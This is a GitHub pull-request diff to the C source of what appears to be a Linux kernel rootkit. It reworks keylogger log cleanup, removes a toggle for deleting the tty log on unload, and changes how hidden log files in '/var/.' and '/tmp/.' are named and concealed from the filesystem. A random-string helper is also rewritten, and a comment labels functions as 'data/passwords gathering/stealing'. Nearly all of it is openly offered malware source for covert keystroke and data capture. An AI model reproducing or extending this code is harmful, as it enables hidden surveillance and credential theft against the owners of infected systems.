Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kvdev #116

Merged
merged 3 commits into from
Oct 10, 2024
Merged

Kvdev #116

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 0 additions & 6 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -532,12 +532,6 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
/* show current hidden files/directories */
} else if(!strcmp(buf, "-l")) {
fs_list_names();
/* set tty log file to be removed on rmmod */
} else if (!strcmp(buf, "-t0")) {
kv_keylog_rm_log(true);
/* unset tty log file to be removed on rmmod */
} else if (!strcmp(buf, "-t1")) {
kv_keylog_rm_log(false);
/* fetch base address of process */
} else if (!strncmp(buf, "-b", MIN(2, size))) {
char *tmp = &buf[3];
Expand Down
3 changes: 0 additions & 3 deletions src/lkm.h
Original file line number Diff line number Diff line change
Expand Up @@ -156,9 +156,6 @@ int kv_add_proc_interface(void);
void kv_remove_proc_interface(void);
int kv_is_proc_interface_loaded(void);

/** data/passwords gathering/stealing */
void kv_keylog_rm_log(bool);

/** whatever */
char *kv_util_random_AZ_string(size_t);

Expand Down
43 changes: 18 additions & 25 deletions src/sys.c
Original file line number Diff line number Diff line change
Expand Up @@ -705,25 +705,14 @@ static void _keylog_cleanup_list(void) {
}
}

static bool _rm_tty_log = true;
void kv_keylog_rm_log(bool rm_log) {
_rm_tty_log = rm_log;
}

static void _keylog_close_file(void) {
fs_kernel_close_file(ttyfilp);
ttyfilp = NULL;
}

void _keylog_cleanup(void) {
char *tty;

_keylog_cleanup_list();
_keylog_close_file();
fs_kernel_close_file(ttyfilp);
fs_file_rm(sys_ttyfile());

tty = sys_ttyfile();
if (tty && _rm_tty_log && fs_file_rm(tty))
prerr("Error removing %s\n", tty);
ttyfilp = NULL;
}

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,12,0)
Expand Down Expand Up @@ -1035,9 +1024,8 @@ static char *_sys_file(char *prefix, char *file, int len) {
if (*file == 0) {
char s[8] = {0};

*s = '.';
snprintf(&s[1], 7, "%s", kv_util_random_AZ_string(7));
snprintf(file, len-1, "/var/%s", s);
snprintf(&s[0], 7, "%s", kv_util_random_AZ_string(7));
snprintf(file, len-1, "%s%s", prefix, s);
{
const char *tmp[] = {s,NULL};
fs_add_name_ro(tmp, 0);
Expand All @@ -1049,13 +1037,21 @@ static char *_sys_file(char *prefix, char *file, int len) {
}

char *sys_ttyfile(void) {
static char tty[16];
return _sys_file("var", tty, sizeof(tty));
static char file[16] = {0};
if (*file == '\0') {
if (!_sys_file("/var/.", file, 16))
return NULL;
}
return file;
}

char *sys_sslfile(void) {
static char ssl[16];
return _sys_file("tmp", ssl, sizeof(ssl));
static char file[16] = {0};
if (*file == '\0') {
if (!_sys_file("/tmp/.", file, 16))
return NULL;
}
return file;
}

bool sys_init(void) {
Expand All @@ -1082,12 +1078,9 @@ bool sys_init(void) {

void sys_deinit(void) {
struct sys_addr_list *sl, *sl_safe;
char *ssl = sys_sslfile();

if (ssl)
fs_file_rm(ssl);

fh_remove_hooks(ft_hooks);
fs_file_rm(sys_sslfile());
_keylog_cleanup();

list_for_each_entry_safe(sl, sl_safe, &sys_addr, list) {
Expand Down
32 changes: 17 additions & 15 deletions src/util.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,28 +20,30 @@
* and must be freed when no longer needed
*/
char *kv_util_random_AZ_string(size_t size) {
int i = 0;
char *buf = NULL;
if(!size) {
prerr("Wrong size parameter!!\n");

static const char charset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789";
int i;
u8 byte;

if (size < 2) {
prerr("Invalid argument\n");
return NULL;
}

buf = kmalloc(size+1, GFP_KERNEL);
if(!buf) {
prerr("Could not allocate memory!\n");
char *buf = kmalloc(size, GFP_KERNEL);
if (!buf) {
prerr("Memory error\n");
return NULL;
}

get_random_bytes(buf, size);
for(i = 0; i < size; ++i) {
int byte = (int)buf[i];
if (byte < 0)
byte = ~byte;
/* ascii A-Z */
buf[i] = byte % (90 - (65 + 1)) + 65;
for (i = 0; i < size-1; ++i) {
get_random_bytes(&byte, 1);
buf[i] = charset[byte % (sizeof(charset) - 1)];
}
buf[i] = 0;
buf[i] = '\0';

return buf;
}

Loading